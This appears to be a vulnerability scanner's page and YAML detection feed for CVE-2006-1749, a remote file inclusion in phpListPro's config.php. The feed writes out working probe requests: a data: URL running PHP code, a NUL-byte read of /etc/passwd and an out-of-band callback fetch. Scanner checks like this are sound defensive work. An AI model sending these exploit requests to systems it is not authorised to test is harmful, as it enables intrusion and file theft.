phpListPro — 1 vulnerability check

noctis ships 1 vulnerability check for phpListPro, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

phpListPro config.php returnpath Remote File Inclusion

CVECVE-2006-1749
Severityhigh · CVSS 7.5
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, match, wait_oob · highest QoD 97
Feedtests/vulnerabilities/phplistpro/CVE-2006-1749.yaml

Tests phpListPro for the unauthenticated remote file inclusion in config.php (also present in editsite.php, addsite.php and in.php), which builds a require() path from the returnpath request parameter. The feed requests config.php under the usual install folders with returnpath set to a data: URL carrying a small PHP snippet that prints the md5 of the product of two random numbers; that md5 in the reply confirms that the server ran code supplied in the request. When OOB is enabled, returnpath is also set to the scanner's callback URL, and a fetch of that URL confirms the remote inclusion even when PHP output and errors are hidden. The feed also asks for the server's password file through a NUL-terminated path, and otherwise looks for a PHP require warning naming a random value followed by a file name, which shows that the parameter reaches require() unchecked. The snippet only prints a hash and writes nothing on the server.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{page}}?returnpath={{probe.data}}
  3. Parses / computes the next value with a Rhai script
  4. Checks rce_proof for ^[0-9a-f]{32}$ → finding QoD 97: phpListPro config.php returnpath Remote File Inclusion (CVE-2006-1749)
  5. HTTP(S) request GET {{page}}?returnpath=/etc/passwd%00
  6. Parses / computes the next value with a Rhai script
  7. Parses / computes the next value with a Rhai script
  8. Parses / computes the next value with a Rhai script
  9. HTTP(S) request GET {{page}}?returnpath={{probe.marker}}%2F
  10. Parses / computes the next value with a Rhai script
  11. Parses / computes the next value with a Rhai script
  12. Parses / computes the next value with a Rhai script
  13. HTTP(S) request GET {{page}}?returnpath={{oob_url}}%3F
  14. Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: phpListPro config.php returnpath Remote File Inclusion (CVE-2006-1749)
  15. … and 2 more steps — see the feed source below

References:

Feed source — tests/vulnerabilities/phplistpro/CVE-2006-1749.yaml
# phpListPro config.php returnpath remote file inclusion — CVE-2006-1749
#
# phpListPro (PHP top-list script) relies on register_globals: config.php,
# editsite.php, addsite.php and in.php pass the returnpath request parameter
# to a require() of "<returnpath>lang_<language>.php" before any check (NVD:
# "PHP remote file inclusion vulnerability in config.php, editsite.php,
# addsite.php, and in.php in phpListPro 2.0.1 allows remote attackers to
# execute arbitrary PHP code via the returnpath parameter"). The product
# source is no longer downloadable; the "lang_" file name comes from the
# reference check, which looks for "Failed opening required '<file>\0lang_"
# in the reply. Every probe below works whatever the appended file name is.
#
# Detection, per usual install folder (/phplistpro, /toplist, /topsite, the
# web root, /cgi-bin), on config.php:
#   1. In-band code execution (QoD 97): returnpath is a data: URL holding
#      <?php echo md5(A*B);exit;?> with random A and B. When PHP may include
#      URLs (allow_url_include, PHP >= 5.2) the code runs (the appended file
#      name comes after exit) and the reply carries md5 of the product, a
#      value the request never contains. No quotes in the code
#      (magic_quotes_gpc).
#   2. OOB (QoD 97, only when OOB is enabled): returnpath is the noctis
#      callback URL followed by "?", so the appended file name lands in the
#      query string; a fetch of the URL is the remote inclusion
#      (allow_url_fopen on PHP 4 / 5.0 / 5.1, allow_url_include later). Also
#      covers servers that hide PHP errors and output.
#   3. Local file read (QoD 75): returnpath is /etc/passwd followed by a NUL
#      byte (PHP < 5.3.4 truncates the file name there), which prints the
#      password file: the check the reference NVT makes.
#   4. Fallback (QoD 75): returnpath is a random name followed by "/"; the
#      reply must carry PHP's require() / main() / "Failed opening required
#      … " warning naming that name FOLLOWED by a file name: the value was
#      concatenated into require(). A page merely echoing the parameter never
#      adds the file name.
#
# Unlike the reference check, no "PHPListPro Ver" / "rated TopList" page is
# needed first (a skin or a renamed install hid it), and the in-band and
# OOB proofs show code execution instead of a file read.
#
# CVSS: NVD v2 7.5 (no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2008/phplistpro_remote_file_include.nasl
# (OID 1.3.6.1.4.1.25623.1.0.80077, GPL-2.0-only), extended with the code
# execution and OOB proofs above.
uid: 82bde6a6-8435-4c8b-828e-44352b3d6c93
name: "phpListPro config.php returnpath Remote File Inclusion (CVE-2006-1749)"
description: |
  Tests phpListPro for the unauthenticated remote file inclusion in
  config.php (also present in editsite.php, addsite.php and in.php), which
  builds a require() path from the returnpath request parameter. The feed
  requests config.php under the usual install folders with returnpath set to
  a data: URL carrying a small PHP snippet that prints the md5 of the product
  of two random numbers; that md5 in the reply confirms that the server ran
  code supplied in the request. When OOB is enabled, returnpath is also set to
  the scanner's callback URL, and a fetch of that URL confirms the remote
  inclusion even when PHP output and errors are hidden. The feed also asks
  for the server's password file through a NUL-terminated path, and otherwise
  looks for a PHP require warning naming a random value followed by a file
  name, which shows that the parameter reaches require() unchecked. The
  snippet only prints a hash and writes nothing on the server.
cves: [CVE-2006-1749]
cvss: 7.5
severity: high
category: rce
confidence_base: 0.30
tags: [phplistpro, php, rfi, remote-file-inclusion, rce, register-globals, intrusive, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2006-1749"
  - "https://www.securityfocus.com/bid/17555"
  # OpenVAS/Greenbone NASL 2008/phplistpro_remote_file_include.nasl (GPL-2.0-only)

steps:
  - id: build-probe
    action: script
    code: |
      let a = rand_int(10000, 99999);
      let b = rand_int(10000, 99999);
      #{
        data: "data%3Atext%2Fplain%2C%3C%3Fphp%20echo%20md5(" + a + "*" + b + ")%3Bexit%3B%3F%3E",
        expect: md5("" + (a * b)),
        marker: "noctis" + rand_str(12)
      }
    store_as: probe

  - id: init-warn-found
    action: set_var
    var_name: warn_found
    var_value: false

  - id: init-warn-path
    action: set_var
    var_name: warn_path
    var_value: ""

  - id: init-warn-proof
    action: set_var
    var_name: warn_proof
    var_value: ""

  - id: init-read-found
    action: set_var
    var_name: read_found
    var_value: false

  - id: init-read-path
    action: set_var
    var_name: read_path
    var_value: ""

  - id: init-read-proof
    action: set_var
    var_name: read_proof
    var_value: ""

  - id: init-oob-sent
    action: set_var
    var_name: oob_sent
    var_value: false

  # Loop group: every following step up to the OOB wait runs once per folder.
  - id: init-rce-r
    action: set_var
    var_name: rce_r
    var_value: {status: 0, body: ""}
    loop:
      var: page
      over: ["/phplistpro/config.php", "/toplist/config.php", "/topsite/config.php", "/config.php", "/cgi-bin/config.php"]

  - id: init-warn-r
    action: set_var
    var_name: warn_r
    var_value: {status: 0, body: ""}

  - id: init-read-r
    action: set_var
    var_name: read_r
    var_value: {status: 0, body: ""}

  - id: init-rce-proof
    action: set_var
    var_name: rce_proof
    var_value: ""

  # ── 1. data: URL — in-band code execution ────────────────────────────────
  - id: rce-probe
    action: http_request
    method: GET
    path: "{{page}}?returnpath={{probe.data}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: rce_r

  - id: rce-check
    action: script
    code: |
      if type_of(rce_r.body) == "string" && rce_r.body.contains(probe.expect) { probe.expect } else { "" }
    store_as: rce_proof

  - id: report-rce
    action: match
    source: rce_proof
    pattern: "^[0-9a-f]{32}$"
    condition: 'rce_proof != ""'
    on_match:
      finding:
        title: "phpListPro config.php returnpath Remote File Inclusion (CVE-2006-1749)"
        description: "An unauthenticated request to config.php with returnpath set to a data: URL holding PHP code made the server run that code: the reply carried the md5 of the product of two random numbers that the request does not contain. config.php includes a file from the path named by returnpath without any check, so an attacker can run any PHP code on the server."
        remediation: "Upgrade phpListPro to a release that fixes CVE-2006-1749 or remove it. Until then, block access to config.php, editsite.php, addsite.php and in.php, disable register_globals and set allow_url_include and allow_url_fopen to Off."
        confidence_delta: 0.65
        qod: 97
        evidence: "GET {{page}}?returnpath=data:text/plain,<?php echo md5(A*B);exit;?> returned the expected md5 {{rce_proof}} (included PHP code executed)"
      stop: true

  # ── 3. NUL-terminated /etc/passwd — local file read (read-only) ──────────
  - id: read-probe
    action: http_request
    method: GET
    path: "{{page}}?returnpath=/etc/passwd%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "read_found == false && rce_r.status != 404"
    store_as: read_r

  - id: read-check
    action: script
    code: |
      let b = if type_of(read_r.body) == "string" { read_r.body } else { "" };
      let m = eregmatch("(root:[^:\\r\\n]*:0:0:[^\\r\\n]*)", b);
      if m.len() > 1 { "root:x:0:0" } else { "" }
    condition: "read_found == false"
    store_as: read_hit

  - id: read-path
    action: script
    code: "page"
    condition: 'read_found == false && read_hit != ""'
    store_as: read_path

  - id: read-proof
    action: script
    code: "read_hit"
    condition: 'read_found == false && read_hit != ""'
    store_as: read_proof

  - id: read-found
    action: set_var
    var_name: read_found
    var_value: true
    condition: 'read_proof != ""'

  # ── 4. Random value — require() warning naming it plus a file (fallback) ─
  - id: warn-probe
    action: http_request
    method: GET
    path: "{{page}}?returnpath={{probe.marker}}%2F"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "warn_found == false && rce_r.status != 404"
    store_as: warn_r

  # The value must be followed by a file name inside the warning: require() of
  # "<value>/lang_xx.php". A page echoing the bare value is not enough.
  - id: warn-check
    action: script
    code: |
      let b = if type_of(warn_r.body) == "string" { warn_r.body } else { "" };
      let m = eregmatch("(?:Failed opening required '|\\b(?:include|include_once|require|require_once|main)\\()(" + probe.marker + "/+[^'()<>\\s/]+)", b);
      if m.len() > 1 { m[1] } else { "" }
    condition: "warn_found == false"
    store_as: warn_hit

  - id: warn-path
    action: script
    code: "page"
    condition: 'warn_found == false && warn_hit != ""'
    store_as: warn_path

  - id: warn-proof
    action: script
    code: "warn_hit"
    condition: 'warn_found == false && warn_hit != ""'
    store_as: warn_proof

  - id: warn-found
    action: set_var
    var_name: warn_found
    var_value: true
    condition: 'warn_proof != ""'

  # ── 2. Callback URL — remote inclusion seen out of band ──────────────────
  - id: oob-probe
    action: http_request
    method: GET
    path: "{{page}}?returnpath={{oob_url}}%3F"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: "oob_enabled && rce_r.status != 404"

  - id: oob-sent
    action: set_var
    var_name: oob_sent
    var_value: true
    condition: "oob_enabled && rce_r.status != 404"

  - id: oob-wait
    action: wait_oob
    oob_timeout_secs: 20
    condition: "oob_enabled && oob_sent"
    on_success:
      finding:
        title: "phpListPro config.php returnpath Remote File Inclusion (CVE-2006-1749)"
        description: "An unauthenticated request to config.php with returnpath set to the noctis callback URL made the server fetch that URL: config.php includes a file from the path named by returnpath without any check, so an attacker can make it fetch and run PHP code from a server they control."
        remediation: "Upgrade phpListPro to a release that fixes CVE-2006-1749 or remove it. Until then, block access to config.php, editsite.php, addsite.php and in.php, disable register_globals and set allow_url_include and allow_url_fopen to Off."
        confidence_delta: 0.65
        qod: 97
        evidence: "OOB HTTP callback received after GET <install folder>/config.php?returnpath=<OOB URL>? (remote file inclusion)"
      stop: true

  - id: report-read
    action: match
    source: read_proof
    pattern: "^root:x:0:0$"
    condition: 'read_proof != ""'
    on_match:
      finding:
        title: "phpListPro config.php returnpath File Inclusion (CVE-2006-1749)"
        description: "An unauthenticated request to config.php with returnpath set to /etc/passwd and a NUL byte returned the server's password file: config.php passes returnpath to require() without any check, so an attacker can read local files and, where URL inclusion is enabled, run remote PHP code."
        remediation: "Upgrade phpListPro to a release that fixes CVE-2006-1749 or remove it. Until then, block access to config.php, editsite.php, addsite.php and in.php, disable register_globals and set allow_url_include and allow_url_fopen to Off."
        confidence_delta: 0.55
        qod: 75
        evidence: "GET {{read_path}}?returnpath=/etc/passwd%00 returned a root entry of the password file"
      stop: true

  - id: report-warn
    action: match
    source: warn_proof
    pattern: "^noctis[0-9A-Za-z]+/+[^'()<>\\s/]+$"
    condition: 'warn_proof != ""'
    on_match:
      finding:
        title: "phpListPro config.php returnpath File Inclusion (CVE-2006-1749)"
        description: "An unauthenticated request to config.php with returnpath set to a random value returned a PHP require warning for that value followed by a file name: config.php passes returnpath to require() without any check. Code execution was not confirmed (URL inclusion may be disabled, or OOB was not enabled), but the include path is attacker-controlled."
        remediation: "Upgrade phpListPro to a release that fixes CVE-2006-1749 or remove it. Until then, block access to config.php, editsite.php, addsite.php and in.php, disable register_globals and set allow_url_include and allow_url_fopen to Off."
        confidence_delta: 0.55
        qod: 75
        evidence: "GET {{warn_path}}?returnpath={{probe.marker}}/ returned a PHP require warning for {{warn_proof}}"
      stop: true

View these feeds on GitHub